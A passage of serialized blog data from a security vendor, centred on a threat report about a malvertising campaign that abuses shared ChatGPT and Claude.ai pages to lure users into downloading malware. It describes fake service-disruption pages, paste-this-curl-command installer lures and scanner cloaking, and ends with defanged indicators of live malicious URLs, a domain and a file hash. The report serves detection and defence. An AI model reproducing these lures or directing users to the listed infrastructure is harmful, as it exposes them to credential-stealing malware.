tooling within months, not years.",{"data":6478,"content":6479,"nodeType":941},{},[6480,6490,6500],{"data":6481,"content":6482,"nodeType":945},{},[6483],{"data":6484,"content":6485,"nodeType":860},{},[6486],{"data":6487,"marks":6488,"value":6489,"nodeType":864},{},[],"AiTM platforms are adding authorization-based attack options alongside their credential-harvesting capabilities.",{"data":6491,"content":6492,"nodeType":945},{},[6493],{"data":6494,"content":6495,"nodeType":860},{},[6496],{"data":6497,"marks":6498,"value":6499,"nodeType":864},{},[],"ClickFix has spawned fully browser-native variants.",{"data":6501,"content":6502,"nodeType":945},{},[6503],{"data":6504,"content":6505,"nodeType":860},{},[6506],{"data":6507,"marks":6508,"value":6509,"nodeType":864},{},[],"AI is lowering the cost of producing convincing social engineering and phishing infrastructure at scale.",{"data":6511,"content":6512,"nodeType":860},{},[6513],{"data":6514,"marks":6515,"value":6516,"nodeType":864},{},[],"We don't see any of this slowing down, and that's exactly why thinking about these attacks as a browser problem instead of siloing them across email, endpoint, network, and cloud categories, each with a partial view of the picture (and still missing the whole when combined).",{"data":6518,"content":6519,"nodeType":860},{},[6520,6524,6531],{"data":6521,"marks":6522,"value":6523,"nodeType":864},{},[],"The Browser & Identity Attacks Matrix is our contribution to keeping that shared understanding current. You can ",{"data":6525,"content":6526,"nodeType":883},{"uri":5243},[6527],{"data":6528,"marks":6529,"value":6530,"nodeType":864},{},[],"explore the matrix here",{"data":6532,"marks":6533,"value":2924,"nodeType":864},{},[],{"data":6535,"content":6536,"nodeType":860},{},[6537,6541,6549],{"data":6538,"marks":6539,"value":6540,"nodeType":864},{},[],"You can also read our recent ",{"data":6542,"content":6544,"nodeType":883},{"uri":6543},"https://pushsecurity.com/thank-you/browser-attacks-report",[6545],{"data":6546,"marks":6547,"value":6548,"nodeType":864},{},[],"browser attack techniques report",{"data":6550,"marks":6551,"value":6552,"nodeType":864},{},[]," for more information.",{"data":6554,"content":6558,"nodeType":996},{"target":6555},{"sys":6556},{"id":6557,"type":1001,"linkType":1002},"1hx6sxpyEzxn4F4jc1RGQi",[],{"data":6560,"content":6561,"nodeType":1005},{},[],{"data":6563,"content":6564,"nodeType":860},{},[6565],{"data":6566,"marks":6567,"value":6568,"nodeType":864},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.",{"data":6570,"content":6571,"nodeType":860},{},[6572,6575,6581],{"data":6573,"marks":6574,"value":2707,"nodeType":864},{},[],{"data":6576,"content":6577,"nodeType":883},{"uri":1700},[6578],{"data":6579,"marks":6580,"value":2715,"nodeType":864},{},[],{"data":6582,"marks":6583,"value":2719,"nodeType":864},{},[],"Introducing the Browser & Identity Attacks Matrix","We're re-releasing the SaaS attack matrix as the Browser & Identity Attacks Matrix. Here's why we've decided to make the change and what it means.","2026-05-08T00:00:00.000Z","introducing-the-browser-and-identity-attacks-matrix",{"items":6589},[6590,6594],{"sys":6591,"name":6593},{"id":6592},"6A5RXS31ZQx3PwryGb1IMy","Browser-based attacks",{"sys":6595,"name":342},{"id":6596},"4ksQNCFeBf8H4QIORqpRLw",{"items":6598},[6599],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":6600},{"url":2740},{"__typename":2059,"sys":6602,"content":6604,"title":7391,"synopsis":7392,"hashTags":59,"publishedDate":7393,"slug":7394,"tagsCollection":7395,"authorsCollection":7401},{"id":6603},"Gcg7PGuICrlRcqq1QFXxH",{"json":6605},{"data":6606,"content":6607,"nodeType":856},{},[6608,6615,6622,6653,6660,6666,6672,6684,6687,6695,6711,6718,6724,6731,6738,6744,6747,6755,6762,6768,6774,6781,6788,6806,6812,6815,6823,6841,6847,6854,6857,6865,6872,6879,6885,6891,6934,6941,6944,6952,6959,6966,7009,7016,7047,7054,7097,7104,7107,7115,7134,7141,7149,7164,7171,7190,7197,7200,7206,7212,7228,7231,7239,7258,7265,7385],{"data":6609,"content":6610,"nodeType":860},{},[6611],{"data":6612,"marks":6613,"value":6614,"nodeType":864},{},[],"Shared conversations on AI chatbot platforms have become the latest delivery mechanism for malware campaigns targeting macOS and Windows users. Attackers create content on platforms like ChatGPT and Claude that appears to offer installation guidance or service updates, then drive traffic to it via search engine results in the form of malvertising and SEO poisoning.  ",{"data":6616,"content":6617,"nodeType":860},{},[6618],{"data":6619,"marks":6620,"value":6621,"nodeType":864},{},[],"The content lives on chatgpt.com or claude.ai — domains that users and security tools trust implicitly — so the attack bypasses URL reputation checks before the victim even reaches the malicious payload.",{"data":6623,"content":6624,"nodeType":860},{},[6625,6629,6637,6641,6649],{"data":6626,"marks":6627,"value":6628,"nodeType":864},{},[],"Several variants of this technique have been ",{"data":6630,"content":6632,"nodeType":883},{"uri":6631},"https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-claudeai-chats-to-push-mac-malware/",[6633],{"data":6634,"marks":6635,"value":6636,"nodeType":864},{},[],"reported over the past few months",{"data":6638,"marks":6639,"value":6640,"nodeType":864},{},[],". The earliest examples used shared Claude.ai conversations disguised as installation guides — complete with fake \"Apple Support\" attribution — that walked users through opening a terminal and pasting a curl command that downloaded and executed an infostealer. ",{"data":6642,"content":6644,"nodeType":883},{"uri":6643},"https://www.kaspersky.com/blog/share-chatgpt-chat-clickfix-macos-amos-infostealer/54928/",[6645],{"data":6646,"marks":6647,"value":6648,"nodeType":864},{},[],"Kaspersky documented a parallel campaign",{"data":6650,"marks":6651,"value":6652,"nodeType":864},{},[]," using shared ChatGPT conversations to deliver the AMOS (Atomic macOS Stealer) via the same paste-this-command social engineering pattern. ",{"data":6654,"content":6655,"nodeType":860},{},[6656],{"data":6657,"marks":6658,"value":6659,"nodeType":864},{},[],"Push has detected a new variant that goes beyond the previously reported technique of embedding terminal commands in shared conversations: the attacker has used ChatGPT's code rendering feature to build a fully designed fake page that mimics a ChatGPT service disruption, redirecting victims to a convincing clone of ChatGPT's download page that delivers a malicious executable. ",{"data":6661,"content":6665,"nodeType":996},{"target":6662},{"sys":6663},{"id":6664,"type":1001,"linkType":1002},"5lz9zt223pecGvdaqdvSTQ",[],{"data":6667,"content":6671,"nodeType":996},{"target":6668},{"sys":6669},{"id":6670,"type":1001,"linkType":1002},"51GomAj3VOjnbmgd1DWYu0",[],{"data":6673,"content":6674,"nodeType":860},{},[6675,6680],{"data":6676,"marks":6677,"value":6679,"nodeType":864},{},[6678],{"type":899},"This is a live campaign which is still generating detections across our customer base at the time of writing. ",{"data":6681,"marks":6682,"value":6683,"nodeType":864},{},[],"Push customers are already protected and do not need to take further action. The malicious page URLs can be found at the end of this report but are not exhaustive and are liable to change. ",{"data":6685,"content":6686,"nodeType":1005},{},[],{"data":6688,"content":6689,"nodeType":1009},{},[6690],{"data":6691,"marks":6692,"value":6694,"nodeType":864},{},[6693],{"type":899},"A fake page, not a fake conversation",{"data":6696,"content":6697,"nodeType":860},{},[6698,6702,6707],{"data":6699,"marks":6700,"value":6701,"nodeType":864},{},[],"Previously reported variants relied on shared ",{"data":6703,"marks":6704,"value":6706,"nodeType":864},{},[6705],{"type":2246},"conversations",{"data":6708,"marks":6709,"value":6710,"nodeType":864},{},[]," — the attacker created a chat that contained step-by-step instructions for the victim to follow, typically involving pasting a command into their terminal. The social engineering was conversational: the \"AI assistant\" appeared to be helpfully guiding the user through an installation process.",{"data":6712,"content":6713,"nodeType":860},{},[6714],{"data":6715,"marks":6716,"value":6717,"nodeType":864},{},[],"But now, rather than a shared conversation, the attacker has used ChatGPT's code rendering feature to create a fully designed, self-contained web page hosted at a chatgpt.com/s/ URL. It renders as what appears to be a ChatGPT service disruption notice:",{"data":6719,"content":6723,"nodeType":996},{"target":6720},{"sys":6721},{"id":6722,"type":1001,"linkType":1002},"1O9gyQab81SnbxhQp2aa5Z",[],{"data":6725,"content":6726,"nodeType":860},{},[6727],{"data":6728,"marks":6729,"value":6730,"nodeType":864},{},[],"A professional-looking error message reads: \"We're experiencing high traffic right now. Our website is temporarily unavailable due to a large number of users. Download our desktop app to continue.\" A prominent download button sits below.",{"data":6732,"content":6733,"nodeType":860},{},[6734],{"data":6735,"marks":6736,"value":6737,"nodeType":864},{},[],"The \"Show code\" toggle at the top of the page reveals what's actually happening — the entire thing is custom HTML and CSS, authored to mimic a ChatGPT system notice, rendered using ChatGPT's code output feature. A web page inside a web page, hosted on a domain that every URL reputation system in the world considers safe.",{"data":6739,"content":6743,"nodeType":996},{"target":6740},{"sys":6741},{"id":6742,"type":1001,"linkType":1002},"4kQTfxB3aVH9W9BeYOuljP",[],{"data":6745,"content":6746,"nodeType":1005},{},[],{"data":6748,"content":6749,"nodeType":1009},{},[6750],{"data":6751,"marks":6752,"value":6754,"nodeType":864},{},[6753],{"type":899},"The download page",{"data":6756,"content":6757,"nodeType":860},{},[6758],{"data":6759,"marks":6760,"value":6761,"nodeType":864},{},[],"Clicking the download button redirects the user to openew[.]app, which presents a convincing clone of ChatGPT's official desktop application download page — complete with OpenAI branding, macOS and Windows download buttons, a Chrome extension link, and a mobile download section.",{"data":6763,"content":6767,"nodeType":996},{"target":6764},{"sys":6765},{"id":6766,"type":1001,"linkType":1002},"4MdFc4OB37ZihTGx506QJ6",[],{"data":6769,"content":6773,"nodeType":996},{"target":6770},{"sys":6771},{"id":6772,"type":1001,"linkType":1002},"LaPUy0zpIeY8s4PF2wkat",[],{"data":6775,"content":6776,"nodeType":860},{},[6777],{"data":6778,"marks":6779,"value":6780,"nodeType":864},{},[],"The site also displays differently depending on who visits it. When Push researchers examined the URL via URLScan, the scanner was redirected to a different page entirely — a generic AR/VR company website with no obvious connection to ChatGPT. ",{"data":6782,"content":6783,"nodeType":860},{},[6784],{"data":6785,"marks":6786,"value":6787,"nodeType":864},{},[],"Real users in a browser see the fake download page; automated scanners and bots see something benign. This kind of conditional rendering is a well-established evasion technique in the malvertising ecosystem, and it makes the malicious infrastructure harder for security teams and threat intelligence services to identify and analyze.",{"data":6789,"content":6790,"nodeType":860},{},[6791,6795,6803],{"data":6792,"marks":6793,"value":6794,"nodeType":864},{},[],"The downloaded executable poses as \"ChatGPT for Desktop\" and is ",{"data":6796,"content":6798,"nodeType":883},{"uri":6797},"https://www.virustotal.com/gui/file/de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78",[6799],{"data":6800,"marks":6801,"value":6802,"nodeType":864},{},[],"flagged on VirusTotal",{"data":6804,"marks":6805,"value":2924,"nodeType":864},{},[],{"data":6807,"content":6811,"nodeType":996},{"target":6808},{"sys":6809},{"id":6810,"type":1001,"linkType":1002},"3FSbwoFJYQrcyo9uMsQIWI",[],{"data":6813,"content":6814,"nodeType":1005},{},[],{"data":6816,"content":6817,"nodeType":1009},{},[6818],{"data":6819,"marks":6820,"value":6822,"nodeType":864},{},[6821],{"type":899},"The Claude variant: same campaign, different platform",{"data":6824,"content":6825,"nodeType":860},{},[6826,6830,6837],{"data":6827,"marks":6828,"value":6829,"nodeType":864},{},[],"Alongside the ChatGPT rendered-page variant, Push has also detected the previously reported style of attack using shared Claude.ai conversations. These follow the pattern documented by ",{"data":6831,"content":6832,"nodeType":883},{"uri":6631},[6833],{"data":6834,"marks":6835,"value":6836,"nodeType":864},{},[],"BleepingComputer",{"data":6838,"marks":6839,"value":6840,"nodeType":864},{},[],": a shared chat disguised as a \"Claude Code on Mac\" installation guide, attributed to \"Apple Support,\" containing a curl command that downloads and executes malware.",{"data":6842,"content":6846,"nodeType":996},{"target":6843},{"sys":6844},{"id":6845,"type":1001,"linkType":1002},"5sWayuTsVdiLSLoS4sv2Vc",[],{"data":6848,"content":6849,"nodeType":860},{},[6850],{"data":6851,"marks":6852,"value":6853,"nodeType":864},{},[],"The fact that both the ChatGPT and Claude variants are appearing in Push customer environments suggests a campaign — or at least a shared playbook — that is actively experimenting with different platforms and different social engineering approaches to find what converts best.",{"data":6855,"content":6856,"nodeType":1005},{},[],{"data":6858,"content":6859,"nodeType":1009},{},[6860],{"data":6861,"marks":6862,"value":6864,"nodeType":864},{},[6863],{"type":899},"Malvertising remains one of the top phishing delivery channels",{"data":6866,"content":6867,"nodeType":860},{},[6868],{"data":6869,"marks":6870,"value":6871,"nodeType":864},{},[],"Push has detected this variant across multiple customer environments, with users arriving at these shared chat URLs after searching for terms including \"chatgpt,\" \"chatgpt free,\" \"chat gpt,\" and common typos like \"chatgo,\" \"chatgot,\" and \"cvhatgpt.\" ",{"data":6873,"content":6874,"nodeType":860},{},[6875],{"data":6876,"marks":6877,"value":6878,"nodeType":864},{},[],"You can see an example of this below: it's incredibly convincing, and uses the real ChatGPT domain — so even users that are paying attention are liable to fall for it. ",{"data":6880,"content":6884,"nodeType":996},{"target":6881},{"sys":6882},{"id":6883,"type":1001,"linkType":1002},"1GYWOyHpZT1rdTm6IGOKu8",[],{"data":6886,"content":6890,"nodeType":996},{"target":6887},{"sys":6888},{"id":6889,"type":1001,"linkType":1002},"4HpFJRAZH2lbygaEk2xOnN",[],{"data":6892,"content":6893,"nodeType":860},{},[6894,6898,6906,6910,6918,6921,6930],{"data":6895,"marks":6896,"value":6897,"nodeType":864},{},[],"This fits a pattern Push has tracked extensively. ",{"data":6899,"content":6901,"nodeType":883},{"uri":6900},"https://pushsecurity.com/blog/verizon-dbir-2026-review/",[6902],{"data":6903,"marks":6904,"value":6905,"nodeType":864},{},[],"Search-based delivery is now the dominant channel for malware distribution",{"data":6907,"marks":6908,"value":6909,"nodeType":864},{},[]," — our own data shows that ClickFix attacks are reached via search results rather than email in 4 of 5 cases, and Push's own research into ",{"data":6911,"content":6913,"nodeType":883},{"uri":6912},"https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack/",[6914],{"data":6915,"marks":6916,"value":6917,"nodeType":864},{},[],"malvertising campaigns impersonating brands like TradingView",{"data":6919,"marks":6920,"value":902,"nodeType":864},{},[],{"data":6922,"content":6924,"nodeType":883},{"uri":6923},"https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs/",[6925],{"data":6926,"marks":6927,"value":6929,"nodeType":864},{},[6928],{"type":1455},"Ahrefs",{"data":6931,"marks":6932,"value":6933,"nodeType":864},{},[]," has demonstrated how effectively search ads can funnel victims to malicious pages. ",{"data":6935,"content":6936,"nodeType":860},{},[6937],{"data":6938,"marks":6939,"value":6940,"nodeType":864},{},[],"The shared-chat technique adds a new dimension: the destination URL itself is genuine (chatgpt.com, claude.ai), which means even a cautious user who checks the URL before clicking will see nothing suspicious.",{"data":6942,"content":6943,"nodeType":1005},{},[],{"data":6945,"content":6946,"nodeType":1009},{},[6947],{"data":6948,"marks":6949,"value":6951,"nodeType":864},{},[6950],{"type":899},"Legitimate platform abuse is everywhere",{"data":6953,"content":6954,"nodeType":860},{},[6955],{"data":6956,"marks":6957,"value":6958,"nodeType":864},{},[],"This is one example of a much broader pattern that has become one of the defining characteristics of the 2026 threat landscape: attackers systematically abusing legitimate platforms as attack infrastructure. The scale and variety of this abuse in recent months alone is striking, and it spans every stage of the phishing chain.",{"data":6960,"content":6961,"nodeType":1312},{},[6962],{"data":6963,"marks":6964,"value":6965,"nodeType":864},{},[],"Legit platform abuse for delivery",{"data":6967,"content":6968,"nodeType":860},{},[6969,6973,6981,6985,6993,6997,7005],{"data":6970,"marks":6971,"value":6972,"nodeType":864},{},[],"On the delivery side, attackers have been ",{"data":6974,"content":6976,"nodeType":883},{"uri":6975},"https://www.bleepingcomputer.com/news/security/amazon-ses-increasingly-abused-in-phishing-to-evade-detection/",[6977],{"data":6978,"marks":6979,"value":6980,"nodeType":864},{},[],"weaponizing stolen AWS credentials to send phishing through Amazon SES",{"data":6982,"marks":6983,"value":6984,"nodeType":864},{},[]," that passes SPF, DKIM, and DMARC validation because SES is a legitimate Amazon service. A Vietnamese operation dubbed ",{"data":6986,"content":6988,"nodeType":883},{"uri":6987},"https://thehackernews.com/2026/05/30000-facebook-accounts-hacked-via.html",[6989],{"data":6990,"marks":6991,"value":6992,"nodeType":864},{},[],"AccountDumpling used Google AppSheet's built-in email capability",{"data":6994,"marks":6995,"value":6996,"nodeType":864},{},[]," as a phishing relay to harvest 30,000 Facebook credentials. ",{"data":6998,"content":7000,"nodeType":883},{"uri":6999},"https://techcrunch.com/2026/05/21/scammers-are-abusing-an-internal-microsoft-account-to-send-spam/",[7001],{"data":7002,"marks":7003,"value":7004,"nodeType":864},{},[],"Scammers exploited Microsoft's own internal notification pipeline",{"data":7006,"marks":7007,"value":7008,"nodeType":864},{},[]," — sending phishing from the same msonlineservicesteam@microsoftonline.com address that delivers legitimate 2FA codes — with Spamhaus confirming months of ongoing abuse.",{"data":7010,"content":7011,"nodeType":1312},{},[7012],{"data":7013,"marks":7014,"value":7015,"nodeType":864},{},[],"Legit platform abuse for hosting",{"data":7017,"content":7018,"nodeType":860},{},[7019,7023,7031,7035,7043],{"data":7020,"marks":7021,"value":7022,"nodeType":864},{},[],"For hosting, the platforms being abused read like a who's who of modern web infrastructure. ",{"data":7024,"content":7026,"nodeType":883},{"uri":7025},"https://www.securityweek.com/over-500-organizations-hit-in-years-long-phishing-campaign/",[7027],{"data":7028,"marks":7029,"value":7030,"nodeType":864},{},[],"Operation HookedWing ran for four years",{"data":7032,"marks":7033,"value":7034,"nodeType":864},{},[]," on GitHub Pages and Vercel, compromising 500+ organizations across more than 100 GitHub Pages domains before anyone documented it publicly. Cofense has separately ",{"data":7036,"content":7038,"nodeType":883},{"uri":7037},"https://cofense.com/blog/steal-smarter-not-harder-malicious-use-of-vercel-for-credential-phishing/",[7039],{"data":7040,"marks":7041,"value":7042,"nodeType":864},{},[],"documented the growing abuse of Vercel",{"data":7044,"marks":7045,"value":7046,"nodeType":864},{},[]," for credential phishing hosting. Pixm's Q1 2026 phishing report tracked over 100 unique Azure Blob Storage subdomain variants hosting phishing content that carried Microsoft's own domain reputation, alongside abuse of Cloudflare CDN, Cloudflare Workers, Cloudflare R2, Backblaze B2, and Supabase. ",{"data":7048,"content":7049,"nodeType":1312},{},[7050],{"data":7051,"marks":7052,"value":7053,"nodeType":864},{},[],"Abuse of compromised websites that are otherwise legit",{"data":7055,"content":7056,"nodeType":860},{},[7057,7061,7069,7073,7081,7085,7093],{"data":7058,"marks":7059,"value":7060,"nodeType":864},{},[],"Compromised legitimate sites are also being repurposed at scale. A mass exploitation of a ",{"data":7062,"content":7064,"nodeType":883},{"uri":7063},"https://www.bleepingcomputer.com/news/security/ghost-cms-sql-injection-flaw-exploited-in-large-scale-clickfix-campaign/",[7065],{"data":7066,"marks":7067,"value":7068,"nodeType":864},{},[],"Ghost CMS vulnerability planted ClickFix pages across 700+ websites",{"data":7070,"marks":7071,"value":7072,"nodeType":864},{},[]," including Harvard, Oxford, and DuckDuckGo subdomains. Microsoft recently documented a campaign where ",{"data":7074,"content":7076,"nodeType":883},{"uri":7075},"https://www.microsoft.com/en-us/security/blog/2026/05/26/poisoned-search-results-gpu-mining-cryptojacking-campaign-abusing-screenconnect-microsoft-net-utilities/",[7077],{"data":7078,"marks":7079,"value":7080,"nodeType":864},{},[],"SEO poisoning was combined with AI chatbot recommendation manipulation",{"data":7082,"marks":7083,"value":7084,"nodeType":864},{},[]," to deliver GPU mining malware — extending the poisoning from traditional search results into AI-generated software recommendations. And ",{"data":7086,"content":7088,"nodeType":883},{"uri":7087},"https://www.helpnetsecurity.com/2026/05/27/deno-rat-malware-fake-chatgpt-claude-installers/",[7089],{"data":7090,"marks":7091,"value":7092,"nodeType":864},{},[],"fake ChatGPT and Claude installers on GitHub and SourceForge",{"data":7094,"marks":7095,"value":7096,"nodeType":864},{},[]," have been delivering the DinDoor backdoor and a Deno-based RAT via repositories that mimic legitimate developer tool distributions.",{"data":7098,"content":7099,"nodeType":860},{},[7100],{"data":7101,"marks":7102,"value":7103,"nodeType":864},{},[],"The structural problem is that every one of these platforms is genuinely legitimate, and the security controls that evaluate them — domain reputation, email authentication, URL categorization — confirm them as trusted because they are trusted. This attack extends this pattern into new territory by weaponizing the content-sharing features of AI chatbot platforms specifically, but the underlying principles are the same. ",{"data":7105,"content":7106,"nodeType":1005},{},[],{"data":7108,"content":7109,"nodeType":1009},{},[7110],{"data":7111,"marks":7112,"value":7114,"nodeType":864},{},[7113],{"type":899},"Impact analysis",{"data":7116,"content":7117,"nodeType":860},{},[7118,7122,7130],{"data":7119,"marks":7120,"value":7121,"nodeType":864},{},[],"Shared-chat malware delivery exploits a structural property of AI platforms that traditional security controls aren't designed to handle. Domain reputation, URL categorization, and safe browsing databases all treat chatgpt.com and claude.ai as trusted — because they are. Using these trusted pages to link off to further convincing-looking pages hosting malware allows the attacker to run campaigns that blend in, as well as rotate the phishing delivery pages later in the chain should they ever be flagged, allowing the campaign to continue without interruption (a well known ",{"data":7123,"content":7125,"nodeType":883},{"uri":7124},"https://phishing-techniques.pushsecurity.com/",[7126],{"data":7127,"marks":7128,"value":7129,"nodeType":864},{},[],"detection evasion technique",{"data":7131,"marks":7132,"value":7133,"nodeType":864},{},[],"). ",{"data":7135,"content":7136,"nodeType":860},{},[7137],{"data":7138,"marks":7139,"value":7140,"nodeType":864},{},[],"What makes the rendered-page variant particularly concerning is that it eliminates the most obvious red flag in the earlier attacks. The Claude.ai conversation variants required the victim to recognize that a shared chat instructing them to paste terminal commands might be suspicious — a tall order for many users, but at least the attack surface was visible. The rendered-page variant shows nothing that looks like an attack. It presents what appears to be a routine service disruption with a reasonable call to action: download the desktop app to continue using ChatGPT. ",{"data":7142,"content":7143,"nodeType":1312},{},[7144],{"data":7145,"marks":7146,"value":7148,"nodeType":864},{},[7147],{"type":899},"How Push detected the attack",{"data":7150,"content":7151,"nodeType":860},{},[7152,7156,7160],{"data":7153,"marks":7154,"value":7155,"nodeType":864},{},[],"We've aligned our detection logic for this technique under the name ",{"data":7157,"marks":7158,"value":1555,"nodeType":864},{},[7159],{"type":899},{"data":7161,"marks":7162,"value":7163,"nodeType":864},{},[]," — a technique-level detection that covers shared content abuse across LLM platforms, not tied to any single campaign or set of IOCs. ",{"data":7165,"content":7166,"nodeType":860},{},[7167],{"data":7168,"marks":7169,"value":7170,"nodeType":864},{},[],"Because Push sees the full context of how a user arrived at a page and what that page does once it renders, we can identify LLMShare attacks regardless of which AI platform is being abused or what social engineering wrapper the attacker has chosen. ",{"data":7172,"content":7173,"nodeType":860},{},[7174,7178,7186],{"data":7175,"marks":7176,"value":7177,"nodeType":864},{},[],"When we identified the initial instances of this campaign, we used our ",{"data":7179,"content":7181,"nodeType":883},{"uri":7180},"https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/",[7182],{"data":7183,"marks":7184,"value":7185,"nodeType":864},{},[],"agentic threat hunting pipeline",{"data":7187,"marks":7188,"value":7189,"nodeType":864},{},[]," to hunt for additional examples across our customer telemetry, develop the LLMShare detection, and rapidly deploy it to customers. Push blocks users from interacting with the page before any malicious activity can occur. ",{"data":7191,"content":7192,"nodeType":860},{},[7193],{"data":7194,"marks":7195,"value":7196,"nodeType":864},{},[],"Push customers do not need to take any further action.",{"data":7198,"content":7199,"nodeType":1005},{},[],{"data":7201,"content":7202,"nodeType":860},{},[7203],{"data":7204,"marks":7205,"value":1682,"nodeType":864},{},[],{"data":7207,"content":7208,"nodeType":860},{},[7209],{"data":7210,"marks":7211,"value":1689,"nodeType":864},{},[],{"data":7213,"content":7214,"nodeType":860},{},[7215,7218,7225],{"data":7216,"marks":7217,"value":21,"nodeType":864},{},[],{"data":7219,"content":7220,"nodeType":883},{"uri":5642},[7221],{"data":7222,"marks":7223,"value":1703,"nodeType":864},{},[7224],{"type":1455},{"data":7226,"marks":7227,"value":21,"nodeType":864},{},[],{"data":7229,"content":7230,"nodeType":1005},{},[],{"data":7232,"content":7233,"nodeType":1009},{},[7234],{"data":7235,"marks":7236,"value":7238,"nodeType":864},{},[7237],{"type":899},"Indicators of compromise",{"data":7240,"content":7241,"nodeType":860},{},[7242,7246,7254],{"data":7243,"marks":7244,"value":7245,"nodeType":864},{},[],"As we always say, short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to ",{"data":7247,"content":7249,"nodeType":883},{"uri":7248},"https://phishing-techniques.pushsecurity.com/techniques/domain-rotation-redirection/",[7250],{"data":7251,"marks":7252,"value":7253,"nodeType":864},{},[],"quickly spin up and rotate the sites used",{"data":7255,"marks":7256,"value":7257,"nodeType":864},{},[]," in the attack chain. IoC-based detections for campaigns like this are of limited value.",{"data":7259,"content":7260,"nodeType":860},{},[7261],{"data":7262,"marks":7263,"value":7264,"nodeType":864},{},[],"At the time of writing, the indicators observed were:",{"data":7266,"content":7267,"nodeType":4845},{},[7268,7294,7317,7339,7362],{"data":7269,"content":7270,"nodeType":4581},{},[7271,7283],{"data":7272,"content":7273,"nodeType":7282},{},[7274],{"data":7275,"content":7276,"nodeType":860},{},[7277],{"data":7278,"marks":7279,"value":7281,"nodeType":864},{},[7280],{"type":899},"Indicator","table-header-cell",{"data":7284,"content":7285,"nodeType":7282},{},[7286],{"data":7287,"content":7288,"nodeType":860},{},[7289],{"data":7290,"marks":7291,"value":7293,"nodeType":864},{},[7292],{"type":899},"Type",{"data":7295,"content":7296,"nodeType":4581},{},[7297,7307],{"data":7298,"content":7299,"nodeType":4569},{},[7300],{"data":7301,"content":7302,"nodeType":860},{},[7303],{"data":7304,"marks":7305,"value":7306,"nodeType":864},{},[],"hxxps://claude[.]ai/share/8e6401b5-4849-46c4-a3cb-29e1c3c49131",{"data":7308,"content":7309,"nodeType":4569},{},[7310],{"data":7311,"content":7312,"nodeType":860},{},[7313],{"data":7314,"marks":7315,"value":7316,"nodeType":864},{},[],"URL",{"data":7318,"content":7319,"nodeType":4581},{},[7320,7330],{"data":7321,"content":7322,"nodeType":4569},{},[7323],{"data":7324,"content":7325,"nodeType":860},{},[7326],{"data":7327,"marks":7328,"value":7329,"nodeType":864},{},[],"hxxps://chatgpt[.]com/s/cb_6a0f1e6bbec88191aa7fede27163f08d",{"data":7331,"content":7332,"nodeType":4569},{},[7333],{"data":7334,"content":7335,"nodeType":860},{},[7336],{"data":7337,"marks":7338,"value":7316,"nodeType":864},{},[],{"data":7340,"content":7341,"nodeType":4581},{},[7342,7352],{"data":7343,"content":7344,"nodeType":4569},{},[7345],{"data":7346,"content":7347,"nodeType":860},{},[7348],{"data":7349,"marks":7350,"value":7351,"nodeType":864},{},[],"openew[.]app",{"data":7353,"content":7354,"nodeType":4569},{},[7355],{"data":7356,"content":7357,"nodeType":860},{},[7358],{"data":7359,"marks":7360,"value":7361,"nodeType":864},{},[],"Domain",{"data":7363,"content":7364,"nodeType":4581},{},[7365,7375],{"data":7366,"content":7367,"nodeType":4569},{},[7368],{"data":7369,"content":7370,"nodeType":860},{},[7371],{"data":7372,"marks":7373,"value":7374,"nodeType":864},{},[],"de8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78",{"data":7376,"content":7377,"nodeType":4569},{},[7378],{"data":7379,"content":7380,"nodeType":860},{},[7381],{"data":7382,"marks":7383,"value":7384,"nodeType":864},{},[],"SHA256",{"data":7386,"content":7387,"nodeType":860},{},[7388],{"data":7389,"marks":7390,"value":21,"nodeType":864},{},[],"LLMShare: how attackers are turning AI chatbot pages into malware delivery platforms","How attackers are using shared content features on AI chatbot platforms to deliver malware via pages hosted on legitimate domains, sent via malvertising.","2026-05-29T00:00:00.000Z","llmshare-malvertising-campaign",{"items":7396},[7397,7399],{"sys":7398,"name":6593},{"id":6592},{"sys":7400,"name":342},{"id":6596},{"items":7402},[7403],{"fullName":7404,"firstName":7405,"jobTitle":7406,"profilePicture":7407},"Keanu Maharaj","Keanu","Senior Security Researcher",{"url":7408},"https://images.ctfassets.net/y1cdw1ablpvd/VCGOm62jiocjwngWTh32U/e9a30637b1c76bf988d2fec90f5b6c36/1689361049351_1.png",{"__typename":2059,"sys":7410,"content":7412,"title":8167,"synopsis":8168,"hashTags":59,"publishedDate":8169,"slug":8170,"tagsCollection":8171,"authorsCollection":8177},{"id":7411},"5RDOpmzJolwT1hk0fNIxzf",{"json":7413},{"data":7414,"content":7415,"nodeType":856},{},[7416,7435,7441,7448,7455,7458,7466,7485,7504,7511,7517,7524,7530,7537,7545,7552,7570,7601,7607,7613,7621,7628,7646,7676,7708,7715,7721,7729,7736,7747,7754,7793,7799,7839,7876,7882,7885,7893,7900,7906,7913,7920,7926,7933,7940,7967,7970,7978,7985,7993,8000,8007,8026,8033,8039,8046,8054,8061,8078,8085,8103,8106,8114,8121,8128,8135,8138,8144,8150],{"data":7417,"content":7418,"nodeType":860},{},[7419,7423,7431],{"data":7420,"marks":7421,"value":7422,"nodeType":864},{},[],"Back in 2024, we wrote about ",{"data":7424,"content":7426,"nodeType":883},{"uri":7425},"https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters/",[7427],{"data":7428,"marks":7429,"value":7430,"nodeType":864},{},[],"how the Pyramid of Pain shapes Push's detection philosophy",{"data":7432,"marks":7433,"value":7434,"nodeType":864},{},[]," — detections targeting indicators that are easy for attackers to change deliver diminishing returns, while detections targeting attacker techniques impose a cost that's hard to absorb. Two years on, every force that made IoC-based detection fragile has intensified.",{"data":7436,"content":7440,"nodeType":996},{"target":7437},{"sys":7438},{"id":7439,"type":1001,"linkType":1002},"1iuLYxwI8T1wDUIFSom0G0",[],{"data":7442,"content":7443,"nodeType":860},{},[7444],{"data":7445,"marks":7446,"value":7447,"nodeType":864},{},[],"AI hasn't introduced a 